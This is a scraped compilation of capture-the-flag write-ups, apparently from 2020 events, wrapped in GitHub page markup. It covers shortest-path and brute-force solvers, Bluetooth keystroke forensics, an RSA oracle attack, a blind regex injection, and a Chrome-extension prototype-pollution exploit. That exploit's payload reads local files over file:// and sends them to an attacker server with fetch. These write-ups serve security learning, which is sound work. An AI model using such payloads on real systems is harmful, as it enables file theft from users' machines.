<span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>rgbCTF</span></span><span>/</span><span><span>misc</span></span><span>/</span>witty-algo<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>rgbCTF</span></span><span>/</span><span><span>misc</span></span><span>/</span>witty-algo<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/BigB00st/ctf-solutions/tree-commit/7c1b43f086e22c70e3f52420504fe4307b842f5c/rgbCTF/misc/witty-algo" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3">ย </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/BigB00st/ctf-solutions/file-list/master/rgbCTF/misc/witty-algo"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>.โ€Š.</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7">ย </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text">ย </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> ยฉ 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You canโ€™t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# Typeracer (119 Points) # ![TASK](https://imgur.com/WA3jGN8.png) The task was simple, we have to write the text that is shown so fast, I wrote this Javascript script to simulate keyboard typing :D ```js var div=document.getElementById('Ym9iYmF0ZWEh').children;var dict={};for(var i=0;i
Construct a graph with intersections as vertices, and road as edges with weights. Run Dijkstra'a Shortest Path Algorithm on it, storing the links and trace back to get the actual path. Complexity $\mathcal{O}(n \log n)$ My C++ script ```cpp#include<bits/stdc++.h>using namespace std; const int N = 200000;vector<pair<int,int>> g[N];string s[N];int w[N];int path[N];int from[N]; int main() { for (int i = 0; i < N; ++i) { int u, v; cin >> u >> v >> w[i] >> s[i]; --u, --v; g[u].emplace_back(v, i); g[v].emplace_back(u, i); } vector<long long> dis(N, (long long) 1e18); dis[0] = 0; set<pair<long long, int>> dij; dij.emplace(0LL, 0); while (!dij.empty()) { auto [d, u] = *dij.begin(); dij.erase(dij.begin()); for (auto [v, i] : g[u]) { long long nd = d + w[i]; if (nd < dis[v]) { dij.erase({dis[v], v}); dis[v] = nd; from[v] = u; path[v] = i; dij.insert({dis[v], v}); } } } int u = N - 1; vector<int> ord; while (u != 0) { ord.push_back(path[u]); u = from[u]; } reverse(ord.begin(), ord.end()); for (int i : ord) { cout << s[i]; } cout << endl;}``` You can see the flag, among other strings in the output ```txtrgbCTF{1m_b4d_4t_sh0pp1ng}```
This is the file to solve Pieces challenge in beginner's Section.Download main.java. You will see string comparison with "9|2/9/:|4/7|8|4/2/1/2/9/" string. Enter this input in python3 main.py you will get the flag add it to proper format
## Description java SecureRandom is supposed to be, well, secure, right? nc challenge.rgbsec.xyz 7425 ## Included files Main.java ## Writeup Browsing through the source code, the general idea of the program is that it seeds SecureRandom with a randomly determined time interval, presents you the first five numbers it generates, then it generates the 5 numbers you have to guess, and you get 20 tries to guess it. Since it's only 5 numbers that can only be 1-5 there are only 3125 possbilities. With 20 tries it doesn't seem too crazy to just generate your own random possibilities and automate the guessing. Here is my solution that does that written in Go. package main import ( "strings" "fmt" "net" "bufio" "strconv" "math/rand" "time" ) //Seed doesn't really matter that much var r = rand.New(rand.NewSource(time.Now().UnixNano())) //Generates guesses func getRandString() string { ret := "" for i := 0; i < 5; i++ { ret += strconv.Itoa(r.Intn(5)+1) + " " } ret += "\n" return ret } func main() { //Just keep running it until correctly guessed for { //Establish connection serv := "167.172.123.213:7425" conn, err := net.Dial("tcp", serv) if err != nil { fmt.Println(err) return } reader := bufio.NewReader(conn) //Take in the first few messages from the server message, _ := reader.ReadString('\n') fmt.Print(message) message, _ = reader.ReadString('\n') fmt.Print(message) message, _ = reader.ReadString('\n') fmt.Print(message) message, _ = reader.ReadString('\n') fmt.Print(message) message, _ = reader.ReadString('\n') fmt.Print(message) //Start the 20 guesses, extra print is just because I like to see it fmt.Fprintf(conn, "20\n") fmt.Print("20\n") //Go through the 20 guesses for i:=0; i < 20; i++ { message, _ = reader.ReadString('\n') fmt.Print(message) randStr := getRandString() fmt.Print(randStr) fmt.Fprintf(conn, randStr) message, _ = reader.ReadString('\n') fmt.Print(message) //until flag is delivered if strings.Contains(message, "flag") { message, _ = reader.ReadString('\n') fmt.Print(message) return } } } return }
RGBCTF soda pop bop Heap challengeUse house of force and use one gadget to get a shellDetailed explanation here : https://pwn-maher.blogspot.com/2020/07/hello-guys-this-is-another-write-up-but.html
# RSA Oracle Challenge###### Creator: Yonatan Karidi-Heller ## Challenge description:Let ```n, e``` be the public parameters of some (1024-bit) RSA key-pair, and let ```d``` be the private key. The challenge we are facing is, given some ciphertext ```ct = (pt ** e) % n``` (corresponding to a plaintext ```pt```)and an oracle ```oracle(ciphertext) = ((decrypt(ciphertext) := (ciphertext ** d) % n) < random(7, n / 37)```we need to decrypt ```ct``` (namely, find ```pt```) using ```2 ** 13``` (adaptive) oracle queries. ## The solutionThe solution breaks down to performing the euclidean algorithm **beneath the encryption***(meaining we perform all operations given only the ciphertexts, while succeeding to perform meaningful manipulations on the plaintexts)* for some ciphertexts with co-prime plaintexts of the form ```(pt * k) % n, (pt * l) % n```. #### Useful mappingIn the solution we are going to make use of the following mapping ```f(x) = (ct * (x ** e)) % n```. Note that the plaintext corresponding to ```f(x)``` is ```(pt * x) % n```. #### Comparing plaintexts of the mappingInterestingly enough, we are (usually) able to compare the plaintexts corresponding to ```f(a), f(b)```, given ```a, b```.Why is that possible? The plaintext corresponding to ```f(a - b)``` is the subtraction of the plaintexts (done ```mod n```). In addition, given ```a, b``` we indeed know how to compute ```f(a), f(b)```.Finally, our oracle leaks whether the plaintext of the ciphertext we send it is small,thus (assuming our plaintexts are sufficiently small) we can use it to implement [a] comparison [oracle]:- ```(pt * a) % n >= (pt * b) % n``` implies that the plaintext corresponding to ```f(a - b)```, ```(pt * a - pt * b) % n```, is small since ```pt * a, pt * b``` were small to begin with. - ```(pt * a) % n < (pt * b) % n``` implies the plaintext corresponding to ```f(a - b)```, ```(pt * a - pt * b) % n```, is large since the subtraction overflows. #### Dividing (with *"encrypted"* remainder) plaintexts of the mappingNow that we have a comparison oracle, we are able to implement division *(efficiently)*,since we can perform a binary search on the quotient *(logarithmic in the quotient and in particular the input)*,and then compute the (**encrypted**) remainder by ```f(a - b * quotient)```. #### Performing the euclidean algorithm *"beneath the encryption"*Now that we have successfully implemented division with remainder (under the encryption)for elements of the form ```f(a), f(b)``` we can perform the euclidean algorithm beneath the encryption as well,that is since the extended euclidean algorithm is comprised of a series of *divmod* (division and modulo) operations. The only "caveat" is that the gcd itself (the result of the computation) will be *encrypted*, since our *divmod* implementation returns encrypted remainder. It is important to notice that, even in this scenario, the extended euclidean algorithm yields us ```alpha, beta```such that ```alpha * plaintext_a + beta * plaintext_b = gcd(plaintext_a, plaintext_b) (mod n)``` where ```plaintext_a, plaintext_b```are (respectively) the plaintexts corresponding to ```f(a), f(b)```. ### Putting it all togetherWe select ```k, l``` such that ```f(k), f(l)``` have small sufficiently plaintexts (namely, ```(pt * k) % n, (pt * l) % n``` are small), we can check whether the corresponding plaintexts are small using our oracle. With high probability, the plaintexts are co-prime. Thus, performing the extended euclidean algorithm ***beneath the encryption*** yields us ```alpha, beta``` such that ```alpha * (pt * k) + beta * (pt * l) = gcd((pt * k) % n, (pt * l) % n) = 1 (mod n)```. In particular, ```pt * (alpha * k + beta * l) = 1 (mod n)```. In other words, ```(alpha * k + beta * l)``` is the inverse of ```pt``` in ```Z_n``` (namely, the inverse ```mod n```),and inverting ```mod n``` is easy - which finally allows us to find the plaintext ```ct```! (we know ```k, l, alpha, beta```) ### RemarksI did not do the exact computation (and ignored some intricate details), but assuming the oracle "acts well" for the comparisons, this algorithm should have logarithmic complexity(it is clear that it's complexity is at most ```O(log ** 2)```, but a more careful analysis should yield logarithmic complexity)
# Highlighter*Defenit CTF 2020 - Web 857**Writeup by Payload as ToEatSushi* ## Problem Do you like the Chrome extension?I made a tool to highlight a string through this.Use it well! :) ## `static-eval` prototype pollution After hard fighting with `background.js`, I noticed it has a function that acts as `eval`, but **safely**. With some google searches, we can find it's `static-eval` of node. Also, we can find **very** interseting [blog post](https://blog.p6.is/bypassing-a-js-sandbox/) about prototype pollution in `static-eval`, written by p0six who is a publisher of this problem. ## `.split()` With prototype pollution, we overwrote `String.split` which is called by `onMessage` after `static-eval`. At first, we succeed to make `alert(1)` in **chrome extension**, not in user content (It's important). ```http://highlighter.ctf.defenit.kr/read?id=84#''['__proto__']['__defineGetter__']('split',function(){return/**/function(x){return/**/{[alert(1)]:1}};});``` ## `file://` When we looked `manifest.json`, there are host permissions over all `http://*/*`, `https://*/*`, and `file://*/*`. These host permissions allows chrome extensions to make a request without cross origin restrictions. Thus, when we can evaluate javascript code in **Chrome extension**'s side, we can read local file. ## `file:///` However, according to `docker-compose.yml`, we have to know where the flag is at first. Since chrome supports directory listing in file scheme, thus just making a request to `file:///` give an index page of the root directory, and we can know a name of folder. ## Exploitation 1. Pollute prototype using vulnerability of `static-eval`2. Overwrite `.split()` function to fetch local file, and send it to our server3. Read `file:///` first, then `file://{secret}/flag`. ## Payload ```http://highlighter.ctf.defenit.kr/read?id=2#''['__proto__']['__defineGetter__']('split',function(){return/**/function(x){return/**/{[(function(){var/**/r=new/**/XMLHttpRequest();r.open('GET','file:///6339e914b333b35d902a2dfd2c415656/flag',false);r.send();r.responseText;fetch('http://{our server}/'+btoa(r.responseText));})()]:1,'zxcv':'1'}};})``` **`Defenit{Ch20m3_3x73n510n_c4n_b3_m0re_Inte7e5t1ng}`**
# Laser 1 - Factoring I enjoyed solving this. I wrote a O(n) algorithm to generate the factors. It can be tricky because we have to output them in ascending order.Since the stack is reversed, I had to iterate on numbers n to 1 in decreasing order, inserting the factors in a separate stack. factors.lsr ```txtrsrU>โŒrwD%โŒprU>(\ U p # r U r s \ / \ /``` It passes all tests and get the flag ```txtrgbCTF{l4s3rs_4r3_c00l_r1ght}```
In Note, we can use arbitrary regular expressions.However, in Note2, they banned the characters of `{`, `}`, `(`, `)`, `+`, and `*` in regular expressions.We can still use `.` and `?`, so we managed to do a blind regular expression injection attack.The attack vectors are `^TSGCTF.A|^.?.?.?.?.?.....`, `^TSGCTF.B|^.?.?.?.?.?.....`, and so on.Other details of Note2 are the same as that of Note, so see https://ctftime.org/writeup/22284.
# PI 1: Magic in the AirVisit [this GitHub](https://github.com/spitfirerxf/rgbCTF2020/blob/master/PI1) for the complete files.> We are investigating an individual we believe is connected to a group smuggling drugs into the country and selling them on social media. You have been posted on a stake out in the apartment above theirs and with the help of space-age eavesdropping technology have managed to extract some data from their computer. What is the phone number of the suspect's criminal contact?>flag format includes country code so it should be in the format: rgbCTF{+00000000000} So we got a file simply named `data`, and when we run `file` command to see what file it is, it showed that it's a BTSnoop version 1.0. It turns out to be a Bluetooth sniffing dump file. It also fits the title of Magic in the Air. Interesting forensics challenge. First thing I do was looking for tools to open it. A bit of exploring. Python library, Linux command, and ended up using Wireshark. Because this was captured using snooping tool, we should see the communication happened as a third party instead of bluetooth device vs host. When scrolling down a bit on Wireshark, I found a short string between the hexes several times:```'2B<รถร G613รŒ```When we run strings we can also see the `G613` scattered around the file. It turned out to be a wireless Logitech keyboard we're snooping. Scrolling down more, I found some repeating pattern with different tailing hex. ![Hex 1](https://github.com/spitfirerxf/rgbCTF2020/raw/master/PI1/Pic1.png)![Hex 1](https://github.com/spitfirerxf/rgbCTF2020/raw/master/PI1/Pic2.png) See the tailing `1c` and `12`? Apparently that's our key to the flag. Keyboard are using certain hexes to send keyboard signal to the host, but it's not in ASCII. So, I dumped all of the data to JSON file to make it easier to parse. See the `handle value.json` file for the export result. I made the parser in Python, and it's pretty simple, just get the `btatt` values out of the JSON, cut it out to get the actual keypress, then remap it with keyboard hex keys. I found it on a Github Gist [here](https://gist.github.com/willwade/30895e766273f606f821568dadebcc1c#file-keyboardhook-py-L42). I need to reverse the key and value, though. See `bt.py` for the actual parser. Ran the `bt.py`, I got a long list of all the pressed keys on the keyboard. After some rewriting, the keyboard pressed more or less like this:```yo man sorry for the delay trying to get this keyboard workin yea its new wireless manbeen moving product speakin of you need to contact my boy rightyeshould be finejust say ohnnysent youalrightlemme get you the numberhold upim looking for its his burnergot it written down somewhereyeah got it0736727859mind it is a swedish numberhe got it on holiday there few months backyeah you can buy burner super easily therealright gyeah its donny lremember to tell him i sent youpeace```Swedish number.Got the phone number. The flag is `rgbCTF{+46736727859}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 